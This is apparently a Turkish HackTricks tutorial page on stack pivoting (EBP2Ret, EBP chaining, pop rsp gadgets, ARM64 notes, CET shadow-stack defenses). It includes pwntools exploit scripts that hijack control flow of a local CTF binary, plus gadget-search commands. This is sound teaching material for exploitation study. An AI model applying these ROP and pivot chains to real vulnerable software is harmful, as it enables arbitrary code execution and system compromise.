Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 11 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Bu teknik, Base Pointer (EBP/RBP)'yi manipüle etme yeteneğinden yararlanarak, çerçeve işaretçisinin dikkatli kullanımı ve leave; ret
talimat dizisi aracılığıyla birden fazla işlevin yürütülmesini zincirleme işlemini gerçekleştirir.
Hatırlatmak gerekirse, x86/x86-64 üzerinde leave
şuna eşdeğerdir:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
Ve kaydedilmiş EBP/RBP yığın içinde kaydedilmiş EIP/RIP'ten önce olduğu için, yığını kontrol ederek bunu kontrol etmek mümkündür.
Notlar
- 64-bit'te, EBP'yi RBP ile ve ESP'yi RSP ile değiştirin. Anlamlar aynıdır.
- Bazı derleyiciler çerçeve işaretçisini atlar (bkz. “EBP kullanılmayabilir”). Bu durumda,
leave
görünmeyebilir ve bu teknik çalışmayacaktır.
EBP2Ret
Bu teknik, kaydedilmiş EBP/RBP'yi değiştirebildiğiniz ancak EIP/RIP'yi doğrudan değiştirme yolunuzun olmadığı durumlarda özellikle yararlıdır. Fonksiyon epilog davranışını kullanır.
Eğer fvuln
'ın yürütülmesi sırasında, yığında shellcode/ROP zincir adresinizin bulunduğu bir bellek alanına işaret eden sahte bir EBP enjekte etmeyi başarırsanız (amd64 için 8 bayt / x86 için 4 bayt pop
için), RIP'yi dolaylı olarak kontrol edebilirsiniz. Fonksiyon dönerken, leave
RSP'yi oluşturulmuş konuma ayarlar ve sonraki pop rbp
RSP'yi azaltır, etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder. Ardından ret
bu adresi kullanacaktır.
İki adresi bilmeniz gerektiğine dikkat edin: ESP/RSP'nin gideceği adres ve ret
'in tüketeceği o adreste saklanan değer.
Exploit Yapısı
Öncelikle, rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir. RSP buraya işaret edecek ve ilk ret
'i tüketecektir.
Sonra, yürütmeyi aktaracak ret
tarafından kullanılan adresi seçmeniz gerekir. Şunları kullanabilirsiniz:
- Geçerli bir ONE_GADGET adresi.
system()
adresi, ardından uygun dönüş ve argümanlar (x86'da:ret
hedefi =&system
, ardından 4 gereksiz bayt, sonra&"/bin/sh"
).- Inline shellcode ile birlikte bir
jmp esp;
gadget (ret2esp). - Yazılabilir bellek içinde aşamalı bir ROP zinciri.
Bu adreslerin kontrol edilen alandaki herhangi birinin önünde, leave
'den gelen pop ebp/rbp
için yer olması gerektiğini unutmayın (amd64'de 8B, x86'da 4B). Bu baytları, ikinci sahte EBP ayarlamak ve ilk çağrı döndükten sonra kontrolü sürdürmek için kötüye kullanabilirsiniz.
Off-By-One Exploit
Sadece kaydedilmiş EBP/RBP'nin en az anlamlı baytını değiştirebildiğinizde kullanılan bir varyant vardır. Bu durumda, ret
ile atlamak için adresi saklayan bellek konumu, orijinal EBP/RBP ile ilk üç/beş baytı paylaşmalıdır, böylece 1 baytlık bir yazma işlemi bunu yönlendirebilir. Genellikle düşük bayt (offset 0x00) mümkün olduğunca yakın bir sayfa/hizalanmış bölge içinde atlamak için artırılır.
Yığın içinde bir RET sled kullanmak ve gerçek ROP zincirini en sona koymak da yaygındır, böylece yeni RSP'nin sled içinde işaret etmesi ve son ROP zincirinin yürütülmesi olasılığı artar.
EBP Zincirleme
Yığın içinde kaydedilmiş EBP
slotuna kontrol edilen bir adres yerleştirerek ve EIP/RIP
içinde bir leave; ret
gadget'ı ile, ESP/RSP
'yi saldırgan kontrolündeki bir adrese taşımak mümkündür.
Artık RSP
kontrol altında ve bir sonraki talimat ret
. Kontrol edilen belleğe şunları yerleştirin:
&(next fake EBP)
->leave
'denpop ebp/rbp
ile yüklendi.&system()
->ret
ile çağrıldı.&(leave;ret)
->system
sona erdikten sonra RSP'yi bir sonraki sahte EBP'ye taşır ve devam eder.&("/bin/sh")
->system
için argüman.
Bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür.
Bu, bir ret2lib gibidir, ancak daha karmaşık ve yalnızca kenar durumlarında yararlıdır.
Ayrıca, bu tekniği kullanan bir challenge örneği var ve bu, kazanan bir fonksiyonu çağırmak için bir yığın sızıntısı kullanır. Bu sayfanın son yükü:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 hizalama ipucu: System V ABI, çağrı noktalarında 16 baytlık yığın hizalaması gerektirir. Eğer zinciriniz
system
gibi fonksiyonları çağırıyorsa, hizalamayı korumak vemovaps
çöküşlerini önlemek için çağrıdan önce bir hizalama aparatı ekleyin (örneğin,ret
veyasub rsp, 8 ; ret
).
EBP kullanılmayabilir
bu yazıda açıklandığı gibi, eğer bir ikili bazı optimizasyonlarla veya çerçeve işaretçisi hariç tutulmuş olarak derlenmişse, EBP/RBP asla ESP/RSP'yi kontrol etmez. Bu nedenle, EBP/RBP'yi kontrol ederek çalışan herhangi bir istismar başarısız olacaktır çünkü prolog/epilog çerçeve işaretçisinden geri yükleme yapmaz.
- Optimize edilmemiş / çerçeve işaretçisi kullanıldı:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimize edilmiş / çerçeve işaretçisi atlandı:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
On amd64 genellikle pop rbp ; ret
yerine leave ; ret
görürsünüz, ancak çerçeve işaretçisi tamamen atlandığında, geçiş yapmak için rbp
tabanlı bir epilog yoktur.
RSP'yi kontrol etmenin diğer yolları
pop rsp
gadget
Bu sayfada bu tekniği kullanan bir örnek bulabilirsiniz. Bu zorluk için 2 belirli argümanla bir fonksiyon çağrılması gerekiyordu ve bir pop rsp
gadget vardı ve stack'ten bir leak vardı:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ret2esp tekniğini burada kontrol edin:
Pivot gadget'larını hızlı bulma
Klasik pivot primitive'leri aramak için favori gadget bulucunuzu kullanın:
leave ; ret
fonksiyonlarda veya kütüphanelerdepop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(veya x86'daadd esp, <imm> ; ret
)
Örnekler:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Klasik pivot sahneleme deseni
Birçok CTF'de/sömürüde kullanılan sağlam bir pivot stratejisi:
read
/recv
çağrısı yapmak için küçük bir başlangıç taşmasını kullanın ve büyük yazılabilir bir alana (örneğin,.bss
, heap veya haritalanmış RW bellek) tam bir ROP zinciri yerleştirin.- RSP'yi o bölgeye taşımak için bir pivot gadget'ına (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
) geri dönün. - Sahneleme zincirine devam edin (örneğin, libc'yi sızdırın,
mprotect
çağrısı yapın, ardından shellcode'uread
edin, sonra ona atlayın).
Yığın pivotlamayı kıran modern önlemler (CET/Gölge Yığın)
Modern x86 CPU'ları ve işletim sistemleri giderek daha fazla CET Gölge Yığın (SHSTK) kullanmaktadır. SHSTK etkinleştirildiğinde, ret
normal yığındaki dönüş adresini donanım korumalı gölge yığın ile karşılaştırır; herhangi bir uyumsuzluk, bir Kontrol-Koruma hatası oluşturur ve süreci sonlandırır. Bu nedenle, EBP2Ret/leave;ret tabanlı pivotlar, pivotlanmış bir yığından ilk ret
çalıştırıldığında çökme yaşar.
- Arka plan ve daha derin detaylar için bakınız:
- Linux'ta hızlı kontroller:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Laboratuvarlar/CTF için notlar:
-
Bazı modern dağıtımlar, donanım ve glibc desteği mevcut olduğunda CET etkinleştirilmiş ikili dosyalar için SHSTK'yı etkinleştirir. VM'lerde kontrollü testler için, SHSTK sistem genelinde
nousershstk
çekirdek önyükleme parametresi ile devre dışı bırakılabilir veya başlangıçta glibc ayarları ile seçici olarak etkinleştirilebilir (bkz. referanslar). Üretim hedeflerinde önlemleri devre dışı bırakmayın. -
JOP/COOP veya SROP tabanlı teknikler bazı hedeflerde hala geçerli olabilir, ancak SHSTK özellikle
ret
tabanlı pivotları kırar. -
Windows notu: Windows 10+ kullanıcı modunu açar ve Windows 11, gölge yığınlar üzerine inşa edilmiş "Donanım destekli Yığın Koruması"nı ekler. CET uyumlu süreçler,
ret
'te yığın pivotlamayı/ROP'u engeller; geliştiriciler CETCOMPAT ve ilgili politikalar aracılığıyla katılır (bkz. referans).
ARM64
ARM64'te, fonksiyonların prologları ve epilogları SP kaydını yığında saklamaz ve geri almaz. Dahası, RET
talimatı SP tarafından işaret edilen adrese dönmez, ancak x30
içindeki adrese döner.
Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak SP kaydını kontrol edemezsiniz yığın içindeki bazı verileri yazarak. Ve SP'yi kontrol etmeyi başarırsanız bile, x30
kaydını kontrol etmenin bir yoluna ihtiyacınız olacaktır.
- prolog
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP çerçeve kaydına işaret eder
- epilog
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
ARM64'te yığın pivotlamaya benzer bir şey gerçekleştirme yolu, SP
'yi kontrol edebilmek (SP'ye geçirilen bir kaydı kontrol ederek veya bir nedenle SP'nin adresini yığından alması ve bir taşma yaşanması durumunda) ve ardından epilogu kötüye kullanarak kontrollü bir SP
'den x30
kaydını yüklemek ve RET
ile ona dönmektir.
Ayrıca, aşağıdaki sayfada Ret2esp'nin ARM64'teki eşdeğerini görebilirsiniz:
Referanslar
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bit, bir ret sled ile başlayan bir rop zinciri ile bir off by one istismarı
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, relro, canary, nx ve pie yok. Program, yığın veya pie için bir sızıntı ve bir qword için bir WWW sağlar. Önce yığın sızıntısını alın ve pie sızıntısını geri almak için WWW'yi kullanın. Ardından,
.fini_array
girişlerini kötüye kullanarak bir sonsuz döngü oluşturmak için WWW'yi kullanın +__libc_csu_fini
çağrısı (daha fazla bilgi burada). Bu "sonsuz" yazmayı kötüye kullanarak, .bss içinde bir ROP zinciri yazılır ve RBP ile pivotlama ile çağrılır. - Linux çekirdek belgeleri: Kontrol akışı Uygulama Teknolojisi (CET) Gölge Yığın — SHSTK,
nousershstk
,/proc/$PID/status
bayrakları vearch_prctl
aracılığıyla etkinleştirme hakkında ayrıntılar. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Çekirdek Modu Donanım Destekli Yığın Koruması (Windows'taki CET gölge yığınlar). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.